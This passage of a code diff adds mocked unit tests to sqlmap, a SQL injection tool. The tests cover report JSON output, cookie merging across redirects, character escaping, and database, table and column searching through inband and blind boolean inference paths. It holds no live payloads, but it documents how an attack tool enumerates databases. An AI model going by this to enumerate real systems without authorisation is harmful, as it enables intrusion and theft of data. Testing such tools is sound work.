test_errors_captured(self): + self.c.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (api.REPORT_TASKID, "something failed")) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["error"], ["something failed"]) + + +class TestWriteReportJson(_CollectorCase): + def test_file_is_valid_json_with_meta(self): + self._store("admin", CONTENT_TYPE.CURRENT_USER) + saved_url = conf.get("url") + conf.url = "http://target/?id=1" + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + with io.open(path, encoding="utf-8") as f: # explicit UTF-8 + closed handle (no ResourceWarning, no cp1252 on Windows) + loaded = json.load(f) + # core shape == API /scan//data, plus a meta wrapper + self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) + self.assertEqual(loaded["data"][0]["value"], "admin") + self.assertEqual(loaded["data"][0]["type_name"], "CURRENT_USER") + self.assertEqual(loaded["meta"]["url"], "http://target/?id=1") + self.assertEqual(loaded["meta"]["api_version"], 2) # MAJOR-only integer, for compatibility checks + self.assertIn("sqlmap_version", loaded["meta"]) + self.assertIn("timestamp", loaded["meta"]) + finally: + conf.url = saved_url + os.remove(path) + + +class TestMultiTargetTaskId(_CollectorCase): + """ + Regression coverage for issue #6123: a '-m' bulk-file run shares ONE process (and thus one + report collector) across many targets. _storeData()'s COMPLETE-status branch deletes any + existing row for a (taskid, content_type) key before inserting the new one, so if every + target reused the same fixed REPORT_TASKID, a later target's TARGET/TECHNIQUES write would + silently delete an earlier target's row of the same content_type. The fix keys each target's + writes by kb.reportTaskId instead. + """ + + def setUp(self): + super(TestMultiTargetTaskId, self).setUp() + from lib.core.dump import Dump + self._had_reportTaskId = "reportTaskId" in kb + self._saved_reportTaskId = kb.get("reportTaskId") + self._saved_dumper = conf.get("dumper") + self._saved_reportCollector = conf.get("reportCollector") + conf.dumper = Dump() + conf.reportCollector = self.c + + def tearDown(self): + # restore to the PRIOR STATE exactly - if the key was absent before (the common case, since + # kb.reportTaskId is normally set lazily by a multi-target run), setting it to the saved None + # would instead leave it explicitly present with value None, which breaks the + # kb.get("reportTaskId", REPORT_TASKID) fallback used elsewhere (e.g. ReportErrorRecorder.emit()) + # for the rest of the test process - order-dependent flakiness, since Python 2's unittest + # discover() does not sort tests/ (unlike Python 3's), so this class can run before + # TestReportErrorCapture depending on the checkout's raw directory order + if self._had_reportTaskId: + kb.reportTaskId = self._saved_reportTaskId + else: + del kb.reportTaskId + conf.dumper = self._saved_dumper + conf.reportCollector = self._saved_reportCollector + super(TestMultiTargetTaskId, self).tearDown() + + def test_second_target_does_not_overwrite_first(self): + kb.reportTaskId = 1 + conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET) + + kb.reportTaskId = 2 + conf.dumper._reportData({"url": "http://host2/?id=1"}, CONTENT_TYPE.TARGET) + + first = api._assembleData(self.c, 1)["data"] + second = api._assembleData(self.c, 2)["data"] + self.assertEqual(first[0]["value"]["url"], "http://host1/?id=1") # not clobbered by target #2 + self.assertEqual(second[0]["value"]["url"], "http://host2/?id=1") + + def test_write_report_json_wraps_multiple_targets(self): + kb.reportTaskId = 1 + conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET) + kb.reportTaskId = 2 + conf.dumper._reportData({"url": "http://host2/?id=1"}, CONTENT_TYPE.TARGET) + + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + with io.open(path, encoding="utf-8") as f: + loaded = json.load(f) + self.assertIn("targets", loaded) + self.assertEqual(len(loaded["targets"]), 2) + urls = [t["data"][0]["value"]["url"] for t in loaded["targets"]] + self.assertEqual(urls, ["http://host1/?id=1", "http://host2/?id=1"]) + finally: + os.remove(path) + + def test_single_target_report_keeps_flat_shape(self): + # backward compatibility: exactly one taskid -> no 'targets' wrapper, same shape as before + kb.reportTaskId = 1 + conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET) + + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + with io.open(path, encoding="utf-8") as f: + loaded = json.load(f) + self.assertNotIn("targets", loaded) + self.assertEqual(loaded["data"][0]["value"]["url"], "http://host1/?id=1") + finally: + os.remove(path) + + def test_error_recorded_under_active_target(self): + import logging + from lib.core.data import logger + + saved_level = logger.level + logger.setLevel(logging.ERROR) + # mute pre-existing handlers (e.g. console) but not the ReportErrorRecorder added by setUp + muted = [(handler, handler.level) for handler in logger.handlers if not isinstance(handler, api.ReportErrorRecorder)] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) + try: + kb.reportTaskId = 2 + logger.error("boom for target 2") + self.assertTrue(any("boom for target 2" in _ for _ in api._assembleData(self.c, 2)["error"])) + self.assertEqual(api._assembleData(self.c, 1)["error"], []) # not attributed to target #1 + finally: + logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_request_basic.py b/tests/test_request_basic.py new file mode 100644 index 00000000000..5456b552e09 --- /dev/null +++ b/tests/test_request_basic.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for PURE functions in lib/request/basic.py. + +These exercise getHeuristicCharEncoding (with its kb.cache.encoding memoization) +and decodePage's charset + HTML-entity decoding branches, in isolation - WITHOUT +touching the network, the DBMS or any interactive prompt. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb + + +class TestBasicHeuristicCharEncoding(unittest.TestCase): + def test_ascii(self): + from lib.request.basic import getHeuristicCharEncoding + self.assertEqual(getHeuristicCharEncoding(b""), "ascii") + + def test_cache_hit_returns_same(self): + from lib.request.basic import getHeuristicCharEncoding + page = b"hello world" + first = getHeuristicCharEncoding(page) + # second call for identical page must come back identical (and from cache) + self.assertEqual(getHeuristicCharEncoding(page), first) + key = (len(page), hash(page)) + self.assertEqual(kb.cache.encoding.get(key), first) + + +class TestBasicDecodePage(unittest.TestCase): + """decodePage charset + HTML-entity decoding branches.""" + + def setUp(self): + self._old_encoding = conf.encoding + self._old_null = conf.nullConnection + conf.nullConnection = False + + def tearDown(self): + conf.encoding = self._old_encoding + conf.nullConnection = self._old_null + + def test_html_entity_amp(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual( + getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), + "foo&bar", + ) + + def test_numeric_hex_entity_tab(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") + + def test_numeric_hex_entity_letter(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") + + def test_unicode_entity(self): + from lib.request.basic import decodePage + conf.encoding = None + self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"\u2122") + + def test_empty_page(self): + from lib.request.basic import decodePage + from lib.core.common import getText + # empty page short-circuits to getUnicode(page) + self.assertEqual(getText(decodePage(b"", None, "text/html")), "") + + +class TestRedirectSetCookieMerge(unittest.TestCase): + """A 302 that sets more than one cookie sends SEPARATE Set-Cookie headers (RFC-6265 forbids + comma-folding them). The handler must merge ALL of them into the follow-up request's Cookie + header; a __getitem__ read returns only the first, silently dropping the 2nd+ (e.g. a CSRF token).""" + + _CONF = ("cookieDel", "scope") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._CONF) + self._redirect = kb.choices.get("redirect") if kb.get("choices") else None + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + if kb.get("choices"): + kb.choices.redirect = self._redirect + + def test_all_set_cookies_merged_across_redirect(self): + from lib.core.enums import HTTP_HEADER, REDIRECTION + from thirdparty import six + from thirdparty.six.moves import urllib as _urllib + import lib.request.redirecthandler as rh + + conf.cookieDel = None + conf.scope = None + kb.choices.redirect = REDIRECTION.YES + + raw = ("Location: http://example.com/home\r\n" + "Set-Cookie: sid=NEW; Path=/; HttpOnly\r\n" + "Set-Cookie: csrf=XYZ; Path=/\r\n\r\n") + # build the same headers object type the redirect handler receives on this interpreter: + # py3 http.client.HTTPMessage (email.message.Message, get_all) / py2 mimetools.Message (getheaders) + if six.PY2: + import mimetools + headers = mimetools.Message(six.StringIO(raw)) + else: + from email import message_from_string + from thirdparty.six.moves.http_client import HTTPMessage + headers = message_from_string(raw, _class=HTTPMessage) + + # stub the network-following parent so the test touches no socket + saved = _urllib.request.HTTPRedirectHandler.http_error_302 + _urllib.request.HTTPRedirectHandler.http_error_302 = lambda self, req, fp, code, msg, headers: fp + try: + req = _urllib.request.Request("http://example.com/login", headers={"Cookie": "sid=OLD"}) + fp = _urllib.response.addinfourl(six.BytesIO(b""), headers, req.get_full_url()) + rh.SmartRedirectHandler().http_error_302(req, fp, 302, "Found", headers) + finally: + _urllib.request.HTTPRedirectHandler.http_error_302 = saved + + merged = req.headers.get(HTTP_HEADER.COOKIE) or req.headers.get("Cookie") or "" + self.assertIn("sid=NEW", merged) + self.assertIn("csrf=XYZ", merged) # the 2nd Set-Cookie must survive the redirect (order-independent) + + +class TestForgeHeadersCookieMerge(unittest.TestCase): + """A domain-scoped jar cookie (Domain=example.com -> '.example.com') must merge into the + request for the apex host, not be dropped by a naive endswith() domain check.""" + + _CONF = ("cj", "hostname", "httpHeaders", "loadCookies", "cookieDel", "parameters", "csrfToken", "safeUrl") + _KB = ("mergeCookies", "testMode", "injection") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._CONF) + self._k = dict((k, kb.get(k)) for k in self._KB) + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def _jar_with_domain_cookie(self): + try: + from http.cookiejar import CookieJar, Cookie + except ImportError: + from cookielib import CookieJar, Cookie + # a domain-scoped cookie the jar stores as '.example.com' (domain_specified=True), + # exactly as it would after Set-Cookie: sid=NEW; Domain=example.com + cookie = Cookie(version=0, name="sid", value="NEW", port=None, port_specified=False, + domain=".example.com", domain_specified=True, domain_initial_dot=True, + path="/", path_specified=True, secure=False, expires=None, discard=True, + comment=None, comment_url=None, rest={}) + cj = CookieJar() + cj.set_cookie(cookie) + return cj + + def test_domain_cookie_merged_on_apex_host(self): + from lib.request.basic import forgeHeaders + from lib.core.enums import PLACE, HTTP_HEADER + from lib.core.datatype import AttribDict + + conf.cj = self._jar_with_domain_cookie() + conf.hostname = "example.com" # apex host == cookie domain + conf.httpHeaders = [(HTTP_HEADER.COOKIE, "sid=OLD")] + conf.loadCookies = False + conf.cookieDel = None + conf.parameters = {} + conf.csrfToken = conf.safeUrl = None + kb.mergeCookies = True + kb.testMode = False + kb.injection = AttribDict() + kb.injection.place = PLACE.GET + + headers = forgeHeaders() + # before the fix the domain cookie was skipped for the apex host, leaving 'sid=OLD' + self.assertEqual(headers.get(HTTP_HEADER.COOKIE), "sid=NEW") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_safe2bin.py b/tests/test_safe2bin.py new file mode 100644 index 00000000000..609ccc41b9a --- /dev/null +++ b/tests/test_safe2bin.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +safecharencode / safechardecode (lib/utils/safe2bin.py). + +These make extracted DB values safe to print/store by escaping control and +non-printable characters (tab -> \\t, NUL -> \\x00, ...) and back. They are +applied to dumped data and to values written through the replication writer, +so the escape<->unescape round-trip must be exact. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.safe2bin import safecharencode, safechardecode + +RND = random.Random(99) + + +class TestKnownEscapes(unittest.TestCase): + CASES = [ + (u"normal", u"normal"), + (u"tab\there", u"tab\\there"), + (u"new\nline", u"new\\nline"), + (u"nul\x00byte", u"nul\\x00byte"), + ] + + def test_encode(self): + for raw, encoded in self.CASES: + self.assertEqual(safecharencode(raw), encoded, msg="safecharencode(%r)" % raw) + + def test_plain_text_unchanged(self): + for s in (u"plain", u"abc 123", u"semi;colon", u"a,b,c"): + self.assertEqual(safecharencode(s), s, msg="plain text altered: %r" % s) + + +class TestRoundTrip(unittest.TestCase): + def test_known_roundtrip(self): + for raw, _ in TestKnownEscapes.CASES: + self.assertEqual(safechardecode(safecharencode(raw)), raw, msg="round-trip %r" % raw) + + def test_property_roundtrip(self): + # mix printable + control/non-printable code points + pool = u"abc 123" + u"".join(chr(c) for c in (0, 1, 7, 9, 10, 13, 27, 127)) + for _ in range(2000): + s = u"".join(RND.choice(pool) for _ in range(RND.randint(0, 24))) + self.assertEqual(safechardecode(safecharencode(s)), s, msg="round-trip failed for %r" % s) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py new file mode 100644 index 00000000000..a64d290bfd1 --- /dev/null +++ b/tests/test_search_enum.py @@ -0,0 +1,585 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/search.py (Search), exercising searchDb / +searchTable / searchColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches (TestSearch), or conf.direct=False with a BOOLEAN injection state selects +the inference branches (TestSearchInference); inject.getValue is patched to return +canned rows in the exact shape the methods parse, and conf.dumper is replaced with +a recording stub so we can assert on what each method produced. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.search as smod +import plugins.generic.entries as emod +from plugins.generic.search import Search + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _RecordingDumper(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestSearch(Search): + """Search with the cross-mixin collaborators it relies on stubbed out. + + The real Search lives in a multiple-inheritance hierarchy; in isolation we + must supply likeOrExact/forceDbmsEnum/getCurrentDb/getColumns/dumpFoundTables/ + excludeDbsList, mirroring the inputs the production mixins would provide. + """ + + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('1', " LIKE '%%%s%%'") + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + self.getColumnsCalls = [] + self._cannedColumns = {} + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + # Emulate column discovery by populating kb.data.cachedColumns for the + # currently-targeted conf.db/conf.tbl/conf.col, as the real plugin does. + self.getColumnsCalls.append((conf.db, conf.tbl, conf.col)) + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestSearch(_SearchEnumBase): + # --- searchDb ----------------------------------------------------------- + + def test_search_db_found(self): + s = _TestSearch() + conf.db = "testdb" + # Feed identifiers that REQUIRE normalization: "select" is a reserved + # keyword and "weird db" contains a space; both force MySQL backtick + # quoting via safeSQLIdentificatorNaming. The plain "testdb" passes + # through unchanged. Asserting the quoted output proves the transform ran + # (a mock-echo would surface the raw, unquoted inputs instead). + smod.inject.getValue = lambda *a, **k: ["select", "weird db", "testdb"] + + s.searchDb() + + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(conf.dumper.listed[-1][1], ["`select`", "`weird db`", "testdb"]) + + def test_search_db_multiple_terms(self): + s = _TestSearch() + conf.db = "foo,bar" + + # Return a DISTINCT value per search term by keying off the query string: + # each term is folded into the generated query (search_db inband query), + # so "foo" vs "bar" produce different queries. This proves the method + # actually iterates over both terms and records the right match for each, + # rather than appending the same constant twice. + def gv(query, *a, **k): + if "foo" in query: + return "foo_db" + elif "bar" in query: + return "bar_db" + return None + + smod.inject.getValue = gv + s.searchDb() + # Two search terms => one distinct value found per term, in order. + self.assertEqual(conf.dumper.listed[-1][1], ["foo_db", "bar_db"]) + + def test_search_db_none_value(self): + s = _TestSearch() + conf.db = "nope" + smod.inject.getValue = lambda *a, **k: None + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_db_exclude_sys_dbs(self): + s = _TestSearch() + conf.db = "testdb" + conf.excludeSysDbs = True + seen = {} + + def gv(query, *a, **k): + seen["query"] = query + return ["testdb"] + smod.inject.getValue = gv + + s.searchDb() + # The exclusion clause for each system DB must be folded into the query. + self.assertIn("information_schema", seen["query"]) + self.assertEqual(conf.dumper.listed[-1][1], ["testdb"]) + + # --- searchTable -------------------------------------------------------- + + def test_search_table_found_grouped_by_db(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = None + smod.inject.getValue = lambda *a, **k: [["testdb", "users"], ["otherdb", "users"]] + + s.searchTable() + + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"], "otherdb": ["users"]}) + # dumpFoundTables is invoked with the same mapping. + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"], "otherdb": ["users"]}) + + def test_search_table_with_db_filter(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = "testdb" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["testdb", "users"]] + smod.inject.getValue = gv + + s.searchTable() + # conf.db present => a WHERE clause restricting to that db is appended. + self.assertIn("testdb", captured["query"]) + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + + def test_search_table_none_found(self): + s = _TestSearch() + conf.tbl = "ghost" + conf.db = None + smod.inject.getValue = lambda *a, **k: None + s.searchTable() + # No tables => dbTables/dumpFoundTables never called. + self.assertIsNone(conf.dumper.dbTablesArg) + self.assertEqual(s.dumpFoundTablesCalls, []) + + # --- searchColumn ------------------------------------------------------- + + def test_search_column_db_and_tbl_provided(self): + s = _TestSearch() + conf.col = "password" + conf.db = "testdb" + conf.tbl = "users" + # With both db & tbl set, searchColumn does NOT call inject for table + # discovery; it assumes the provided db/tbl and calls getColumns. + smod.inject.getValue = lambda *a, **k: self.fail("getValue should not be called") + + s.searchColumn() + + self.assertEqual(conf.dumper.dbColumnsArg[1], '1') # colConsider + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + self.assertEqual(s.dumpFoundColumnCalls[-1][2], '1') + # getColumns was consulted for the assumed db/tbl/col. + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_column_enumerate_tables(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + # db & tbl missing => inject returns (db, table) pairs to scan. + smod.inject.getValue = lambda *a, **k: [["testdb", "users"]] + + s.searchColumn() + + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + # The requested column must have actually landed under the discovered + # db/table (getColumns populated kb.data.cachedColumns, which searchColumn + # folds into dbs); db/table presence alone wouldn't prove that. + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_none_found(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + smod.inject.getValue = lambda *a, **k: None + s.searchColumn() + # Nothing discovered => dumper.dbColumns not called. + self.assertIsNone(conf.dumper.dbColumnsArg) + + # --- search() dispatcher ------------------------------------------------ + + def test_search_dispatch_to_column(self): + s = _TestSearch() + conf.col = "password" + conf.tbl = "users" + conf.db = "testdb" + smod.inject.getValue = lambda *a, **k: None + # Should route to searchColumn (col takes precedence). With db & tbl both + # provided, searchColumn assumes them and consults getColumns for the + # requested db/tbl/col -> at least one recorded call, matching the request. + s.search() + self.assertGreaterEqual(len(s.getColumnsCalls), 1) + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_dispatch_missing_param(self): + s = _TestSearch() + conf.col = None + conf.tbl = None + conf.db = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, s.search) + + +# --------------------------------------------------------------------------- # +# search.py - inference (blind) paths +# --------------------------------------------------------------------------- # + +class _TestSearchInf(Search): + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('2', "='%s'") # exact match (colConsider '2') + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + self.getColumnsCalls = [] + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + db, tbl, col = conf.db, conf.tbl, conf.col + self.getColumnsCalls.append((db, tbl, col)) + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _RecDumper(object): + def __init__(self): + self.listed = [] + self.dbTablesArg = None + self.dbColumnsArg = None + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + +class _SearchBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", + "exclude", "search") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = smod.inject.getValue + self._readInput = smod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_hintValue = kb.get("hintValue") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.dumper = _RecDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._gv + smod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.hintValue = self._saved_hintValue + kb.injection.data = self._saved_injection_data + + +class TestSearchInference(_SearchBase): + def test_search_db_inference(self): + # Blind searchDb: count of matching dbs, then one db name per index. + s = _TestSearchInf() + conf.db = "testdb" + smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) + + def test_search_db_inference_no_match(self): + # Count fails (non-numeric) => no databases appended, empty listing. + s = _TestSearchInf() + conf.db = "ghost" + smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_table_inference_grouped(self): + # Blind searchTable, no conf.db: outer count of dbs holding the table, then + # per-db a name, then per-db a count of matching tables, then table names. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + + # Sequencing by the EXPECTED.INT counts + the per-index string results. + # 1st count: number of databases with the table -> 1 + # 1st db name -> "testdb" + # 2nd count: number of tables in testdb -> 1 + # table name -> "users" + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchTable() + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) + + def test_search_table_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 forces the bruteforce path; declining the prompt returns None + # without any injection. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + self.assertIsNone(s.searchTable()) + + def test_search_column_inference(self): + # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; + # then per-db count of tables with the column, then table name -> getColumns + # folds the column into dbs. + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchColumn() + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_multi_no_reprocess(self): + # Regression: multi-column blind search must process each column exactly once. + # The nested table-discovery loop used to walk ALL accumulated columns per outer + # pass, re-querying earlier columns (O(n^2) requests) and appending their tables twice. + s = _TestSearchInf() + conf.col = "cola,colb" + conf.db = None + conf.tbl = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" # 1 db / 1 table per column + if "table_schema)" in query: # DISTINCT(table_schema) -> db-name fetch + return "testdb" + col = "cola" if "cola" in query else "colb" + return "t_%s" % col # DISTINCT(table_name) -> table-name fetch + smod.inject.getValue = gv + + s.searchColumn() + + # each (db, tbl, col) discovered once - no earlier column re-walked + self.assertEqual(len(s.getColumnsCalls), len(set(s.getColumnsCalls))) + self.assertEqual(len(s.getColumnsCalls), 2) + # and 